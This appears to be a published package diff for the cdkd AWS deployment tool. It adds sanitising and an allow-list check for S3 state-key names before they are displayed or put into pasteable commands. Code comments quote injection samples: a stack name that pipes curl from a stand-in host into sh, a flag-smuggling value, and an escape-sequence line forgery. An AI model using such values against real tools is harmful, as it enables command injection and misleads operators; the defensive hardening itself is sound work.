@go-to-k/cdkd 0.290.17 → 0.290.19
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/{asg-provider-BPBdAAGQ.js → asg-provider-ac412LEP.js} +3 -3
- package/dist/{asg-provider-BPBdAAGQ.js.map → asg-provider-ac412LEP.js.map} +1 -1
- package/dist/aws-client-defaults-BoIxyCir.js +574 -0
- package/dist/aws-client-defaults-BoIxyCir.js.map +1 -0
- package/dist/cli.js +2 -2
- package/dist/{deploy-engine-BYTwDxet.js → deploy-engine-D7mwWwGs.js} +1953 -150
- package/dist/deploy-engine-D7mwWwGs.js.map +1 -0
- package/dist/index.d.ts +4 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -1
- package/dist/{program-CbHndlOj.js → program-BOAEIjF5.js} +418 -577
- package/dist/{program-CbHndlOj.js.map → program-BOAEIjF5.js.map} +1 -1
- package/dist/{version-CT2xso6V.js → version-BOnyvRN8.js} +2 -2
- package/dist/{version-CT2xso6V.js.map → version-BOnyvRN8.js.map} +1 -1
- package/package.json +1 -1
- package/dist/aws-client-defaults-D-iYiIJ6.js +0 -218
- package/dist/aws-client-defaults-D-iYiIJ6.js.map +0 -1
- package/dist/deploy-engine-BYTwDxet.js.map +0 -1
|
@@ -1,8 +1,8 @@
|
|
|
1
|
-
import { $ as secretBearing, $n as
|
|
1
|
+
import { $ as secretBearing, $i as isRetryableTransientError, $n as S3StateBackend, $r as getLegacyStateBucketName, $t as s3BucketArn, A as extractDeploymentEventError, Ai as CrossAccountSecretRefusalError, An as findSilentDropProperties, Ar as readBootstrapMarkerBody, At as isImpossibleEmptyStoredAttribute, B as toCfnInteger, Bi as PartialFailureError, Bn as createSecretMasker, Br as formatDockerLoginError, Bt as coerceCfnBoolean, C as buildFinalSnapshotIdentifier, Ci as AwsClients, Cn as refuseMalformedOutputs, Cr as AssetModeResolver, Ct as isTerminationProtectionPropagationError, D as refusesFinalSnapshot, Dn as repairMalformedResourcePropertiesForReadOnly, Dr as getBootstrapMarkerKey, Dt as cfnRefValueFromPhysicalId, E as isFinalSnapshotError, Ei as setAwsClients, En as repairMalformedOutputsForReadOnly, Er as ensureAssetStorage, Et as carriesFetchableDynamicReference, F as isStatefulRecreateTargetSync, Fi as LocalInvokeBuildError$1, Fn as STATE_SOURCED_BASELINE_RULES, Fr as buildDockerImage, Ft as isSettledInstanceState, G as gray, Gi as StackTerminationProtectionError, Gn as markSameGenerationBag, Gr as runDockerStreaming, Gt as readConfigString, H as formatResourceLine, Hi as ResourceTimeoutError, Hn as errorCauseChain, Hr as partitionSensitiveEnv, Ht as configBooleanRefusal, I as renderStatefulReason, Ii as LocalStartServiceError, In as STATE_SOURCED_CROSS_GENERATION_RULES, Ir as describeDockerCapturedOutput, It as WAFv2WebACLProvider, J as yellow, Jn as recordMaskOnlyValue, Jr as AssetManifestLoader, Jt as requireConfigObject, K as green, Kn as maskSecretsInError, Kr as escapeRegExp, Kt as replayWarn, L as WARM_THROUGHPUT_MEMBERS, Ln as STATE_SOURCED_READBACK_RULES, Lr as describeDockerExecFailure, Lt as normalizeAwsTagsToCfn, M as planOrphanAdoption, Mi as DeployCancelledError, Mn as withRetry, Mr as validateContainerRepoName, Mt as isUnboundTemplateParameter, N as MULTI_REGION_RECREATE_BLOCKED_TYPES, Ni as DynamicReferenceRegionAmbiguousError, Nn as DagBuilder, Nr as buildDenyExternalAccessPolicy, Nt as parameterTypeMayLoseSecretIdentity, O as unsupportedFinalSnapshotError, Oi as CdkdError, On as repairMalformedResourcesForReadOnly, Or as isCrossRegionRedirect, Ot as coerceParameterTypedValue, P as isStatefulRecreateTargetForReplace, Pi as IntrinsicResolutionRefusalError, Pn as TemplateParser, Pr as describeAwsFailure, Pt as refStateLookupFromResource, Q as isExportAliasCollision, Qi as isMarkedNonRetryable, Qn as LockManager, Qr as getDefaultStateBucketName, Qt as withSharedDrainBudget, R as coerceWarmThroughput$1, Ri as MalformedProducerRecordRefusalError, Rn as TEMPLATE_SOURCED_RULES, Rr as describeDockerFailure, Rt as resolveExplicitPhysicalId, S as PRE_DELETE_SNAPSHOT_TYPES, Si as resolveBucketRegion, Sn as refuseMalformedNestedChildOutputs, Sr as rewriteTemplateAssetReferences, St as disableInstanceApiTermination, T as createPreDeleteFinalSnapshot, Ti as resetAwsClients, Tn as refuseMalformedState, Tr as assertAssetBucketRegion, Tt as carriesDynamicReference, U as bold, Ui as ResourceUpdateNotSupportedError, Un as identityKeyFor, Ur as redactDockerArgvValues, Ut as configIntegerRefusal, V as toFiniteNumber, Vi as ProvisioningError, Vn as dynamicReferenceTokens, Vr as getDockerCmd, Vt as coerceCfnInteger, W as cyan, Wi as StackHasActiveImportsError, Wn as isSingleDynamicReferenceToken, Wr as runDockerForeground, Wt as configStringRefusal, X as collectPublishedOutputNames, Xi as normalizeAwsError, Xn as redactSecretsForState, Xr as Synthesizer, Xt as classifyReplaySecretRegion, Y as collectDeclaredOutputNames, Yn as recoverMaskedOutput, Yr as getDockerImageBySourceHash, Yt as requireConfigString, Z as exportAliasCollisionScrubWarning, Zi as withErrorHandling, Zn as scrubResourceRecord, Zr as synthesisStatusMessage, Zt as producerRegionsFromState, _ as isSecretBearingReferenceString, _i as canonicalizeRegion, _n as malformedRenderedContainersWarning, _r as stringifyValue, _t as isWaitAbandonedError, a as DeploymentEventsStore, ai as resolveStateBucketWithDefaultAndSource, an as applyCallerIdentityCredentials, ar as shellQuote, at as clearOnUpdateRemoval, b as bindingSkippedOutputs, bi as processStackMessages, bn as malformedStateRefusalMessage, br as createAssetRedirectResolver, bt as deleteIndeterminateGuards, c as replayFailedOperations, ci as warnDeprecatedNoPrefixCliFlag, cn as INTRINSIC_KEYS, cr as exportNamesCarriedFrom, ct as createMaskedRetryLogger, d as updatePartialReason, di as MIGRATE_TMP_PREFIX, dn as hasReadableResources, dr as importableOutputs, dt as beginCommandInterruptScope, ea as isThrottlingError, ei as resolveApp, en as s3BucketDomainName, er as rebuildClientForBucketRegion, et as secretBearingStateKeyWarning, f as withResourceDeadline, fi as findLargeInlineResources, fn as malformedExportNamesWarning, fr as isReadableBag, ft as endCommandInterruptScope, g as bagHoldsSecretExpression, gi as PARTITION_TABLE, gn as malformedOutputsWarning, gr as AssetPublisher, gt as CloudControlProvider, h as computeImplicitDeleteEdges, hi as expectedOwnerParam, hn as malformedOutputsRefusalMessage, hr as shouldRetainResource, ht as startInterruptWatch, i as DeploymentEventsReader, ia as retryClassificationText, ii as resolveStateBucketWithDefault, in as applyRoleArnIfSet, ir as formatLockExpiry, it as collectInlinePolicyNamesManagedBySiblings, j as makeSiblingClaimReader, jn as describeTypeWithThrottleRetry, jr as validateAssetBucketName, jt as isNamelessDynamicReferenceError, k as makeCanonicalizePropertiesFn, kn as findActionableSilentDrops, kr as parseBootstrapMarker, kt as getAccountInfo, l as replayRollback, li as CFN_TEMPLATE_BODY_LIMIT, ln as STATE_RESOURCES_MALFORMED, lr as hasReadableExportSet, lt as maskDeep, m as IMPLICIT_DELETE_DEPENDENCIES, mi as CUSTOM_RESOURCE_RESPONSE_OBJECT_DESCRIPTION, mn as malformedLocalOutputsWarning, mr as orphansCarriedFrom, mt as isInterruptedWaitError, n as DEFAULT_RESOURCE_WARN_AFTER_MS, na as markNonRetryable, ni as resolveCaptureObservedState, nn as s3BucketRegionalDomainName, nr as buildLockContentionMessage, nt as getCurrentResourceSecrets, o as planFailedOps, oi as resolveUseCdkBootstrapAssets, on as callerEnvCredentials, or as CUSTOM_RESOURCE_RESPONSE_PREFIX, ot as ProviderRegistry, p as maskingRetryLogger, pi as uploadCfnTemplate, pn as malformedExportSourceWarning, pr as orphansAfterRollback, pt as interruptWatchListenerCount, q as red, qn as maskSecretsInText, qr as stripControlChars, qt as requireConfigArray, r as DeployEngine, ra as markRedactedCause, ri as resolveSkipPrefix, rn as s3BucketWebsiteUrl, rr as forceQuitRecoveryClause, rt as IAMRoleProvider, s as planRollback, si as stateBucketExistenceConfirmed, sn as DiffCalculator, sr as DEFAULT_STATE_PREFIX, st as wouldReturnToSdkProvider, t as DEFAULT_RESOURCE_TIMEOUT_MS, ta as isTransientServerError, ti as resolveAutoAssetStorage, tn as s3BucketDualStackDomainName, tr as buildForceUnlockCommand, tt as secretSafeKeyDisplay, u as updatePartialMessage, ui as CFN_TEMPLATE_URL_LIMIT, un as hasReadableOutputs, ur as importableOutputKeys, ut as maskerOrIdentity, v as keptWholeReasonText, vi as derivePartitionAndUrlSuffix, vn as malformedResourcePropertiesWarning, vr as WorkGraph, vt as slowCcOperationTimeoutMs, w as ccRoutedFinalSnapshotError, wi as getAwsClients, wn as refuseMalformedOutputsForDestroy, wr as BOOTSTRAP_MARKER_PREFIX, wt as IntrinsicFunctionResolver, x as ATOMIC_FINAL_SNAPSHOT_TYPES, xn as producerRecordKey, xr as loadPublishableAssetManifest, xt as deleteSkipReason, y as mergeNoChangeOutputs, yi as AssemblyReader, yn as malformedResourcesWarning, yr as buildAssetRedirectMap, yt as UNSPECIFIED_SKIP_REASON, z as isWarmThroughputDecrease, zi as NestedStackChildDirectDestroyError, zn as carriesSecretMask, zr as dockerSpawnEnvWithSensitive, zt as assertRegionMatch } from "./deploy-engine-D7mwWwGs.js";
|
|
2
2
|
import { C as displaySafe, S as displayIdent, _ as withSkipPrefix, b as STACK_REF_MAX_CODE_POINTS, c as PATTERN_B_NAME_OPTIONS, f as explicitNamePropertyFor, h as getCurrentStackName, i as reserveStdoutForPayload, l as PATTERN_B_NAME_PROPERTIES, m as generateResourceNameWithFallback, n as getLogger, o as runStackBuffered, p as generateResourceName, s as getLiveRenderer, u as PATTERN_B_RESOURCE_TYPES, v as withStackName, w as truncateCodePoints, x as UNRENDERABLE } from "./logger-C17H06QA.js";
|
|
3
|
-
import {
|
|
4
|
-
import { t as getCdkdVersion } from "./version-
|
|
5
|
-
import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-
|
|
3
|
+
import { n as awsClientDefaults } from "./aws-client-defaults-BoIxyCir.js";
|
|
4
|
+
import { t as getCdkdVersion } from "./version-BOnyvRN8.js";
|
|
5
|
+
import { a as renderDisableCommand, i as protectedReplacementAdvice, r as UNNAMEABLE_ID_CLAUSE, t as ASGProvider } from "./asg-provider-ac412LEP.js";
|
|
6
6
|
import { AsyncLocalStorage } from "node:async_hooks";
|
|
7
7
|
import { createHash, randomBytes, randomUUID } from "node:crypto";
|
|
8
8
|
import { CopyObjectCommand, CreateBucketCommand, DeleteBucketAnalyticsConfigurationCommand, DeleteBucketCommand, DeleteBucketCorsCommand, DeleteBucketEncryptionCommand, DeleteBucketIntelligentTieringConfigurationCommand, DeleteBucketInventoryConfigurationCommand, DeleteBucketLifecycleCommand, DeleteBucketMetricsConfigurationCommand, DeleteBucketOwnershipControlsCommand, DeleteBucketPolicyCommand, DeleteBucketReplicationCommand, DeleteBucketTaggingCommand, DeleteBucketWebsiteCommand, DeleteObjectsCommand, GetBucketAccelerateConfigurationCommand, GetBucketCorsCommand, GetBucketEncryptionCommand, GetBucketLifecycleConfigurationCommand, GetBucketLocationCommand, GetBucketLoggingCommand, GetBucketNotificationConfigurationCommand, GetBucketOwnershipControlsCommand, GetBucketPolicyCommand, GetBucketReplicationCommand, GetBucketTaggingCommand, GetBucketVersioningCommand, GetBucketWebsiteCommand, GetObjectCommand, GetObjectLockConfigurationCommand, GetPublicAccessBlockCommand, HeadBucketCommand, ListBucketAnalyticsConfigurationsCommand, ListBucketIntelligentTieringConfigurationsCommand, ListBucketInventoryConfigurationsCommand, ListBucketMetricsConfigurationsCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchBucket, NotFound, PutBucketAccelerateConfigurationCommand, PutBucketAnalyticsConfigurationCommand, PutBucketCorsCommand, PutBucketEncryptionCommand, PutBucketIntelligentTieringConfigurationCommand, PutBucketInventoryConfigurationCommand, PutBucketLifecycleConfigurationCommand, PutBucketLoggingCommand, PutBucketMetricsConfigurationCommand, PutBucketNotificationConfigurationCommand, PutBucketOwnershipControlsCommand, PutBucketPolicyCommand, PutBucketReplicationCommand, PutBucketTaggingCommand, PutBucketVersioningCommand, PutBucketWebsiteCommand, PutObjectCommand, PutObjectLockConfigurationCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
|
|
@@ -100,8 +100,10 @@ const STATE_FILE_SUFFIX = "/state.json";
|
|
|
100
100
|
* The twin of `S3StateBackend`'s `LEGACY_KEY_DEPTH`, which counts the
|
|
101
101
|
* `state.json` segment as well; this one counts what remains after the prefix
|
|
102
102
|
* and the suffix are stripped, so it is that value minus one. Fenced against it
|
|
103
|
-
* by a unit test rather than imported
|
|
104
|
-
*
|
|
103
|
+
* by a unit test rather than imported: a value import from `s3-state-backend.js`
|
|
104
|
+
* breaks every suite that mocks that module. That is the reason, and it is
|
|
105
|
+
* specific to THAT module — this file does import values from `display-safe.js`,
|
|
106
|
+
* which is a leaf with no imports of its own.
|
|
105
107
|
*/
|
|
106
108
|
const LEGACY_SEGMENTS_UNDER_PREFIX = 1;
|
|
107
109
|
/**
|
|
@@ -172,9 +174,19 @@ async function listAllLockKeys(stateBackend) {
|
|
|
172
174
|
return (await stateBackend.listRawKeys("")).filter((k) => k.endsWith(LOCK_FILE_SUFFIX));
|
|
173
175
|
}
|
|
174
176
|
/**
|
|
175
|
-
* `{prefix}/{stack}/{region}/state.json`
|
|
176
|
-
* `{prefix}/{stack}/state.json`
|
|
177
|
-
*
|
|
177
|
+
* Split `{prefix}/{stack}/{region}/state.json` into its parts; legacy
|
|
178
|
+
* `{prefix}/{stack}/state.json` yields a `region`-less result. Pass
|
|
179
|
+
* {@link LOCK_FILE_SUFFIX} to parse lock keys.
|
|
180
|
+
*
|
|
181
|
+
* STRUCTURAL, so a caller that needs the halves never has to re-parse a
|
|
182
|
+
* RENDERED string. `gc.ts` did exactly that — it ran `/^(\S+) \((\S+)\)$/` over
|
|
183
|
+
* `describeStateKey`'s own output to build a `cdkd state show ...` command —
|
|
184
|
+
* and that re-parse was already fragile before this change (`\S` excludes
|
|
185
|
+
* `\r`, so a planted carriage return silently took the no-match branch and put
|
|
186
|
+
* the WHOLE rendered string in the command's stack-name position). Sanitising
|
|
187
|
+
* the rendered form would have broken the re-parse outright; returning the
|
|
188
|
+
* parts removes the question. Issue
|
|
189
|
+
* [#3179](https://github.com/go-to-k/cdkd/issues/3179) section C.
|
|
178
190
|
*
|
|
179
191
|
* The shape heuristic below cannot be made exact, and it errs in BOTH
|
|
180
192
|
* directions -- a region it fails to recognise is reported AS the stack name,
|
|
@@ -205,18 +217,124 @@ async function listAllLockKeys(stateBackend) {
|
|
|
205
217
|
* `MyStack`. Depth cannot tell that apart from a real `{stack}/{region}`; only
|
|
206
218
|
* the shape of the tail can, so the heuristic keeps that case.
|
|
207
219
|
*/
|
|
208
|
-
function
|
|
220
|
+
function parseStateKey(key, suffix = STATE_FILE_SUFFIX, knownPrefix) {
|
|
209
221
|
const body = key.slice(0, -suffix.length);
|
|
210
222
|
const prefix = knownPrefix?.replace(/\/+$/, "");
|
|
211
223
|
if (prefix !== void 0 && prefix !== "" && key.startsWith(`${prefix}/`)) {
|
|
212
224
|
const rest = body.slice(prefix.length + 1).split("/");
|
|
213
|
-
if (rest.length === LEGACY_SEGMENTS_UNDER_PREFIX && rest[0]) return rest[0];
|
|
225
|
+
if (rest.length === LEGACY_SEGMENTS_UNDER_PREFIX && rest[0]) return { stack: rest[0] };
|
|
214
226
|
}
|
|
215
227
|
const segments = body.split("/");
|
|
216
228
|
const last = segments[segments.length - 1] ?? key;
|
|
217
229
|
const secondLast = segments[segments.length - 2];
|
|
218
|
-
if (secondLast !== void 0 && secondLast !== "" && REGION_SEGMENT.test(last)) return
|
|
219
|
-
|
|
230
|
+
if (secondLast !== void 0 && secondLast !== "" && REGION_SEGMENT.test(last)) return {
|
|
231
|
+
stack: secondLast,
|
|
232
|
+
region: last
|
|
233
|
+
};
|
|
234
|
+
return { stack: last };
|
|
235
|
+
}
|
|
236
|
+
/**
|
|
237
|
+
* `{prefix}/{stack}/{region}/state.json` → `stack (region)`; legacy
|
|
238
|
+
* `{prefix}/{stack}/state.json` → `stack`. Pass {@link LOCK_FILE_SUFFIX} to
|
|
239
|
+
* describe lock keys.
|
|
240
|
+
*
|
|
241
|
+
* The split is {@link parseStateKey}'s; this renders it for a HUMAN, through
|
|
242
|
+
* `displayIdent`, which is the whole of what changed for issue
|
|
243
|
+
* [#3179](https://github.com/go-to-k/cdkd/issues/3179) section C. Both halves
|
|
244
|
+
* come out of an S3 KEY, and a state-bucket key is not cdkd's to trust: anyone
|
|
245
|
+
* holding `s3:PutObject` on the bucket chooses it, the same premise
|
|
246
|
+
* go-to-k/cdkd#3207 rests on for the record BODY. Every reader of this string
|
|
247
|
+
* puts it in front of an operator who is deciding whether to destroy something,
|
|
248
|
+
* so an unbounded, unsanitised value is read as cdkd's own words.
|
|
249
|
+
*
|
|
250
|
+
* Measured on this tree before the change, with `cdkd/` as the known prefix:
|
|
251
|
+
* a key segment `Prod<ESC>[2K<CR>SafeStack` rendered as itself, and a terminal
|
|
252
|
+
* ERASES the line and shows `SafeStack (us-east-1)` — a different stack than
|
|
253
|
+
* the record names. `displayIdent` sanitises to ASCII, caps the length, and
|
|
254
|
+
* quotes anything outside the plain-identifier set, so that segment now renders
|
|
255
|
+
* visibly quoted and visibly altered.
|
|
256
|
+
*
|
|
257
|
+
* The stack half takes `STACK_REF_MAX_CODE_POINTS` rather than the default cap,
|
|
258
|
+
* matching `state.ts`'s `formatStackRefSafe`: a cdkd state-record stack name is
|
|
259
|
+
* NOT bounded by CloudFormation's 128, because a nested-stack child's name is
|
|
260
|
+
* minted recursively as `${parent}~${logicalId}`.
|
|
261
|
+
*
|
|
262
|
+
* What this does NOT make safe is a value INTERPOLATED INTO A COMMAND — see
|
|
263
|
+
* {@link isPasteableIdent}, which exists because `displayIdent` correctly
|
|
264
|
+
* renders `--state-bucket=attacker` bare (every character of it is a plain
|
|
265
|
+
* identifier character) while that value is a flag, not a name.
|
|
266
|
+
*/
|
|
267
|
+
function describeStateKey(key, suffix = STATE_FILE_SUFFIX, knownPrefix) {
|
|
268
|
+
const { stack, region } = parseStateKey(key, suffix, knownPrefix);
|
|
269
|
+
const name = displayIdent(stack, { maxCodePoints: STACK_REF_MAX_CODE_POINTS });
|
|
270
|
+
return region === void 0 ? name : `${name} (${displayIdent(region)})`;
|
|
271
|
+
}
|
|
272
|
+
/**
|
|
273
|
+
* The shape a state-key segment must have before it may be interpolated into a
|
|
274
|
+
* command cdkd invites an operator to PASTE.
|
|
275
|
+
*
|
|
276
|
+
* An ALLOW-LIST, and deliberately so: the first cut of this predicate was a
|
|
277
|
+
* deny-list that refused a leading `-`, and review defeated it with a leading
|
|
278
|
+
* `~`. A deny-list has to enumerate every character a shell treats specially
|
|
279
|
+
* BEFORE cdkd sees the word, and the set of things nobody thought of is
|
|
280
|
+
* unbounded. The repo already settled this once — `rollback-executor.ts`'s
|
|
281
|
+
* `PASTEABLE_LOGICAL_ID` is `/^[A-Za-z0-9]{1,255}$/`, with a comment naming
|
|
282
|
+
* `~user` and `=x` by name.
|
|
283
|
+
*
|
|
284
|
+
* This one is wider than that because the values here are not logical ids: a
|
|
285
|
+
* cdkd state record's stack name carries `~` (a nested-stack child is minted
|
|
286
|
+
* `${parent}~${logicalId}`) and a region carries `-`. What it keeps from the
|
|
287
|
+
* precedent is the LEADING character, which is where the danger is. MEASURED
|
|
288
|
+
* in bash on a real host rather than reasoned:
|
|
289
|
+
*
|
|
290
|
+
* ~root -> /var/root ~/x -> $HOME/x ~- -> $OLDPWD
|
|
291
|
+
* a=~/x -> a=$HOME/x
|
|
292
|
+
* Parent~Child -> inert a:~/x -> inert
|
|
293
|
+
*
|
|
294
|
+
* So `~` is dangerous only in the leading position or straight after `=`,
|
|
295
|
+
* which is why a medial `~` stays in the set and `=` stays out of it entirely.
|
|
296
|
+
* A leading digit or letter also closes the option case: `--state-bucket=x`
|
|
297
|
+
* cannot match, and that one is NOT about shell quoting — it is still an
|
|
298
|
+
* OPTION after quoting, which is why the answer is refusal rather than quoting.
|
|
299
|
+
*/
|
|
300
|
+
const PASTEABLE_STATE_IDENT = /^[A-Za-z0-9][A-Za-z0-9~_.-]*$/;
|
|
301
|
+
/**
|
|
302
|
+
* The cap for rendering a whole state or lock KEY, as opposed to one segment.
|
|
303
|
+
*
|
|
304
|
+
* A key CONTAINS a stack name, so capping it at `STACK_REF_MAX_CODE_POINTS`
|
|
305
|
+
* cuts a legitimate one: the fixed segments around the name — `{prefix}/`,
|
|
306
|
+
* `/{region}/` and `state.json` / `lock.json` — are not free. The extra 64
|
|
307
|
+
* covers them with roughly 37 characters left for the prefix — measured, not
|
|
308
|
+
* generous: at a full-budget stack name a longer `--state-prefix` still
|
|
309
|
+
* overflows, and the cost of that is cosmetic. It matters because a key renders
|
|
310
|
+
* `[cut: N more characters withheld]` is at its least useful inside the very
|
|
311
|
+
* sentence that tells an operator to go and inspect THAT key.
|
|
312
|
+
*
|
|
313
|
+
* Same status as the constant it builds on, and stated for the same reason: a
|
|
314
|
+
* BUDGET, not an enforced bound. Nothing in `src/` validates key length.
|
|
315
|
+
*/
|
|
316
|
+
const STATE_KEY_MAX_CODE_POINTS = STACK_REF_MAX_CODE_POINTS + 64;
|
|
317
|
+
/**
|
|
318
|
+
* Is this value safe to interpolate into a command we tell an operator to RUN?
|
|
319
|
+
*
|
|
320
|
+
* Two independent tests, and BOTH are load-bearing:
|
|
321
|
+
*
|
|
322
|
+
* 1. {@link PASTEABLE_STATE_IDENT}, which decides the shell question — see its
|
|
323
|
+
* own note for why it is an allow-list and what was measured.
|
|
324
|
+
* 2. It renders byte-identically through `displayIdent`, which adds the LENGTH
|
|
325
|
+
* cap and the ASCII rule the regex does not carry, asked through the public
|
|
326
|
+
* API rather than by re-spelling `PLAIN_IDENT` (a second spelling of a
|
|
327
|
+
* security predicate is how the two drift).
|
|
328
|
+
*
|
|
329
|
+
* Deliberately NOT shell-quoting instead. Quoting answers test 2's population
|
|
330
|
+
* and none of the option case — `'--state-bucket=attacker'` is still parsed as
|
|
331
|
+
* a flag — and a command that LOOKS runnable is the thing being handed over, so
|
|
332
|
+
* the honest answer for a value failing either test is to print the S3 key and
|
|
333
|
+
* let the operator decide.
|
|
334
|
+
*/
|
|
335
|
+
function isPasteableIdent(value) {
|
|
336
|
+
if (!PASTEABLE_STATE_IDENT.test(value)) return false;
|
|
337
|
+
return displayIdent(value, { maxCodePoints: STACK_REF_MAX_CODE_POINTS }) === value;
|
|
220
338
|
}
|
|
221
339
|
|
|
222
340
|
//#endregion
|
|
@@ -246,7 +364,7 @@ function parseContextOptions(contextArgs) {
|
|
|
246
364
|
const commonOptions = [
|
|
247
365
|
new Option("--verbose", "Enable verbose logging").default(false),
|
|
248
366
|
new Option("--profile <profile>", "AWS profile"),
|
|
249
|
-
new Option("--role-arn <arn>", "IAM role ARN to assume for AWS API calls (env: CDKD_ROLE_ARN); the role needs the actions for the resource types you deploy plus the bookkeeping actions cdkd itself issues, because cdkd makes raw service API calls and does not route through CloudFormation, so CDK CLI deploy-roles will NOT work.
|
|
367
|
+
new Option("--role-arn <arn>", "IAM role ARN to assume for AWS API calls (env: CDKD_ROLE_ARN); the role needs the actions for the resource types you deploy plus the bookkeeping actions cdkd itself issues, because cdkd makes raw service API calls and does not route through CloudFormation, so CDK CLI deploy-roles will NOT work. Combines with --profile: the profile supplies the base credentials the role is assumed FROM, and the role is what every later AWS call runs as"),
|
|
250
368
|
new Option("-y, --yes", "Automatically answer interactive prompts with the recommended response (e.g. confirm destroy)").default(false)
|
|
251
369
|
];
|
|
252
370
|
/**
|
|
@@ -1689,10 +1807,10 @@ async function bootstrapDestroyCommand(options) {
|
|
|
1689
1807
|
if (options.includeStateBucket) {
|
|
1690
1808
|
const stateKeys = await listAllStateKeys(stateBackend);
|
|
1691
1809
|
if (stateKeys.length > 0) {
|
|
1692
|
-
const listing = stateKeys.map((k) => ` - ${describeStateKey(k, STATE_FILE_SUFFIX, DEFAULT_STATE_PREFIX)} [${k}]`).join("\n");
|
|
1810
|
+
const listing = stateKeys.map((k) => ` - ${describeStateKey(k, STATE_FILE_SUFFIX, DEFAULT_STATE_PREFIX)} [${displayIdent(k, { maxCodePoints: STATE_KEY_MAX_CODE_POINTS })}]`).join("\n");
|
|
1693
1811
|
throw new CdkdError(`Refusing to delete state bucket '${bucketName}': ${stateKeys.length} stack(s) still have state in it:\n${listing}\nDestroy every stack ('cdkd destroy' / 'cdkd state destroy') before deleting the state bucket.`, "STATE_BUCKET_NOT_EMPTY");
|
|
1694
1812
|
}
|
|
1695
|
-
if (markerSiblings.otherRegions.length > 0) throw new CdkdError(`Refusing to delete state bucket '${bucketName}': region(s) ${markerSiblings.otherRegions.join(", ")} are still opted in to cdkd asset storage (their bootstrap markers live in this bucket). Run 'cdkd bootstrap --destroy --region <r>' for each first.`, "STATE_BUCKET_HOLDS_MARKERS");
|
|
1813
|
+
if (markerSiblings.otherRegions.length > 0) throw new CdkdError(`Refusing to delete state bucket '${bucketName}': region(s) ${markerSiblings.otherRegions.map((r) => displayIdent(r)).join(", ")} are still opted in to cdkd asset storage (their bootstrap markers live in this bucket). Run 'cdkd bootstrap --destroy --region <r>' for each first.`, "STATE_BUCKET_HOLDS_MARKERS");
|
|
1696
1814
|
if (markerSiblings.sameRegionKeys.length > 0) {
|
|
1697
1815
|
const canonicalStillPresent = markerBody !== null && resolvedMarkerKey === markerKey;
|
|
1698
1816
|
const listing = markerSiblings.sameRegionKeys.map((k) => canonicalStillPresent ? ` - ${k}` : ` - ${k} (cdkd bootstrap --destroy --region ${markerRegionOfKey(k)})`).join("\n");
|
|
@@ -3463,420 +3581,6 @@ function recordRunFailed(recorder, stackName, error) {
|
|
|
3463
3581
|
});
|
|
3464
3582
|
}
|
|
3465
3583
|
|
|
3466
|
-
//#endregion
|
|
3467
|
-
//#region src/state/malformed-resources-bag.ts
|
|
3468
|
-
/** The error code every malformed-record refusal carries, whatever its class. */
|
|
3469
|
-
const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
|
|
3470
|
-
/**
|
|
3471
|
-
* Answer the ONE question both helpers below key on: can this record's
|
|
3472
|
-
* resource map be read at all?
|
|
3473
|
-
*
|
|
3474
|
-
* Widened past `null` / `undefined` because the message says "no readable
|
|
3475
|
-
* resources map" and a hand-edited record does not stop at those two: a
|
|
3476
|
-
* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
|
|
3477
|
-
* empty or, for the string, absurd — repaired silently and warned about
|
|
3478
|
-
* nowhere. The predicate is the plain-object test the bag's own type implies.
|
|
3479
|
-
*/
|
|
3480
|
-
function hasReadableResources(state) {
|
|
3481
|
-
return isReadableBag(state.resources);
|
|
3482
|
-
}
|
|
3483
|
-
/**
|
|
3484
|
-
* The same question for the `outputs` bag — and it is a SEPARATE predicate
|
|
3485
|
-
* rather than a second argument to the one above because the ABSENCE rule
|
|
3486
|
-
* differs, which is the split {@link isReadableBag}'s own note calls a
|
|
3487
|
-
* per-container call.
|
|
3488
|
-
*
|
|
3489
|
-
* An absent `outputs` bag is an ordinary record, not a defect: `cdkd scrub`
|
|
3490
|
-
* round-trips one deliberately rather than materializing `{}` over it, and the
|
|
3491
|
-
* deploy's failure-path saves write `outputs: currentState.outputs`, which
|
|
3492
|
-
* `JSON.stringify` drops when it is `undefined`. So `undefined` is EXEMPT here
|
|
3493
|
-
* while it is a defect for `resources`. `null` is NOT exempt — it is a value a
|
|
3494
|
-
* hand-edited record carries and every consumer either throws on it or
|
|
3495
|
-
* launders it into `{}`.
|
|
3496
|
-
*
|
|
3497
|
-
* Both {@link repairMalformedOutputsForReadOnly} and
|
|
3498
|
-
* {@link refuseMalformedOutputs} delegate to this, so the read-only and the
|
|
3499
|
-
* write-capable halves cannot come to different verdicts about the same record.
|
|
3500
|
-
*/
|
|
3501
|
-
function hasReadableOutputs(state) {
|
|
3502
|
-
return state.outputs === void 0 || isReadableBag(state.outputs);
|
|
3503
|
-
}
|
|
3504
|
-
/**
|
|
3505
|
-
* The shared explanation, in the terms the reader needs: what is wrong, what
|
|
3506
|
-
* to look at, and what NOT to do next.
|
|
3507
|
-
*
|
|
3508
|
-
* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
|
|
3509
|
-
* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
|
|
3510
|
-
* `.claude/rules/layout-state-types.md` require of any suggestion a user is
|
|
3511
|
-
* meant to paste, for two separate reasons.
|
|
3512
|
-
*
|
|
3513
|
-
* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
|
|
3514
|
-
* printable-ASCII allowlist, so it removes the line- and escape-forgery class
|
|
3515
|
-
* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
|
|
3516
|
-
* trusted here, since a stack name reaches the cross-stack read path from an
|
|
3517
|
-
* `Fn::GetStackOutput` argument or an S3 key. A name spelled
|
|
3518
|
-
* `a'; curl http://x|sh; echo '` would close the quoting and append its own
|
|
3519
|
-
* command to the line this text tells the user to RUN.
|
|
3520
|
-
*
|
|
3521
|
-
* Wrapping the command in `'...'` is not enough either, and is what makes the
|
|
3522
|
-
* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
|
|
3523
|
-
* produces something unpastable. Hence unwrapped and last.
|
|
3524
|
-
*
|
|
3525
|
-
